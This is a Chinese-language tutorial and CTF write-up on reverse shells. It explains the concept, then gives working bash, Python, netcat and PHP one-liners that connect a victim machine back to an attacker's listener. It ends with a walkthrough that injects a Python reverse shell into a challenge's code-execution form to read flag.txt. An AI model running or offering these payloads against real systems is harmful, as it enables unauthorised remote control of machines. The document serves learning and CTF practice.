反弹shell

0X01 前言

最近在CTF-imaginary中碰到了需要反弹shell的赛题,之前对反弹shell的认识一直都只是停留在理论,并不知道该如何去操作,正好这道赛题可以实践一下,后续遇到反弹shell的题目也会收录到该文章中

0X02 简介

首先我们要弄清楚几个问题:

  • 什么是shell?
  • 为什么要反弹shell?或者说什么情况下需要用到反弹shell?
  • 怎么反弹shll?

2.1 什么是shell

shell是渗透中常用的名词,像getshellwebshell反弹shell等等,都和shell相关。

  • getshell:获取到目标的命令执行权限
  • webshell:指网站后门,通过web服务进行命令执行
  • 反弹shell:把命令行的输入输出转移到其它主机

ps:关于其他shell,以后再另外写一篇文章来介绍一下

Shell 俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。简单说用户通过壳(shell)访问操作系统内核的服务,也就是由壳到内核,执行系统命令。

在这里插入图片描述

2.1.2 shell的功能

那么shell的功能是什么呢?简单地说就是:

shell用来接收我们用户的输入,并且解释我们的命令。然后将其传给系统内核,内核再调用硬件来操作。

2.2 反弹Shell

2.2.1 什么是反弹shell

反弹shell(reverse shell

就是控制端监听在某TCP/UDP端口被控端发起请求到该端口,并将其命令行的输入输出转到控制端,从而实现对受害机的控制,即执行命令

2.2.2 为什么要反弹shell

通常用于

  • 被控端因防火墙受限、权限不足、端口被占用等情形

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:

  • 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
  • 目标机器的ip动态改变,你不能持续控制。
  • 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,

反弹的意思很简单,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

0X03 方法

3.1 Linux常用的反弹shell的方式

3.1.1 bash反弹

bash反弹是比较常用的反弹方式

1
2
3
攻击者:nc -lvp 9999 #攻击者开启监听端口

受害者:bash -i >& /dev/tcp/192.168.239.128/9999 0>&1 #受害机主动连接端口

命令释义

1
2
3
4
5
6
nc -lvp 9999
----------------
nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
-l 监听模式,用于入站连接
-v 详细输出--用两个-v可得到更详细的内容
-p port 本地端口号
1
2
3
4
5
6
bash -i >& /dev/tcp/192.168.239.128/9999 0>&1
----------------
bash -i代表在本地打开一个bash
>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程vps
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
远程vps开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出

3.1.2 python反弹shell

  • 攻击机开启监听
1
nc -lvp 9999
  • 受害机反弹的命令如下:
1
2
3
4
5
6
7
import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('ip',port));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);

原理

首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符。于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

3.1.3 nc反弹shell

条件:需要目标主机安装了nc

命令:

1
2
3
攻击者:nc -lvp 4566

受害者:nc -e /bin/bash 192.168.239.128 4566

或者

1
2
3
攻击者:nc -lvp 4444

受害者:nc -e /bin/sh 192.168.239.128 4444

原理

1
2
3
nc -e /bin/bash 192.168.239.128 4566
#-e prog 程序重定向,一旦连接,就执行
#这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,并且可以执行命令。

3.1.4 php反弹

首先最简单的一个办法,就是使用php的exec函数执行反弹shell
(需要php关闭safe_mode选项,才可以使用exec函数)

1
2
3
攻击者:nc -nvlp 9875

受害者:php -r 'exec("/usr/bin/bash -i >& /dev/tcp/192.168.239.128/9875 0>&1");'

一些变形的形式:

1
2
3
攻击者:nc -nvlp 4986

受害者:php -r '$sock=fsockopen("192.168.239.128",4986);exec("/bin/bash -i <&3 >&3 2>&3");'

3.2 Windows常用的反弹shell的方式

0X04 实战

4.1 ctf-imaginary

4.1.1 p2c_release

分析后端源码吧

  • 锁定关键代码

image-20240802102135306

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])

file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

os.system(f"chmod 755 {file}")

try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
output = None

os.remove(file)

return output

这段xef()函数的作用是什么呢 简单地说就是

  • 将表单输入的python代码插入到main函数
  • 以哈希md5命名创建一个临时文件 并运行刚刚的代码
  • 最后再删除文件

既然这样,传入的代码就可以执行,意味着可以rce

但问题是这道题没有可以回显的函数

可执行命令,但是没有回显,这不就是使用反弹shell的情景嘛

在这一题中,由于我们是本地用docker复现的环境,所以被操控的就是我们自己的主机ip,用云服务器来作为攻击机来监听并实现“命令执行、回显”

Python实现反弹shell:(脚本可用hacktool生成)

4.1.1.1 攻击机开启监听

  • 先再我们的服务器上开启监听:
1
nc -lvnp 9895

(记得提前打开端口号)

image-20240802210827724

4.1.1.2 受害机连接端口

  • 然后在受害者(我们自己的主机)上运行命令:
    • 也就是在表单中执行python代码
Python命令一
1
2
3
4
5
import os,pty,socket;
s=socket.socket();
s.connect(("xxx.xxx.xxx.xxx",xxxx));
[os.dup2(s.fileno(),f)for f in(0,1,2)];
pty.spawn("sh")

image-20240802211143724

  • 监听成功!

image-20240802211105759

Python命令二

或者我们本机上也可以用以下命令:

1
2
3
import os
cmd = "bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1'"
process = os.popen(cmd)

image-20240802211425714

  • 成功监听!

4.1.1.3 命令执行

在我们的服务器(攻击机)上成功监听到主机(受害机)之后,我们就可以rce并且得到回显了,如下:

  • 列出当前目录的文件 ls

image-20240802211910122

  • 读取flag.txt
1
cat flag.txt

image-20240802212026613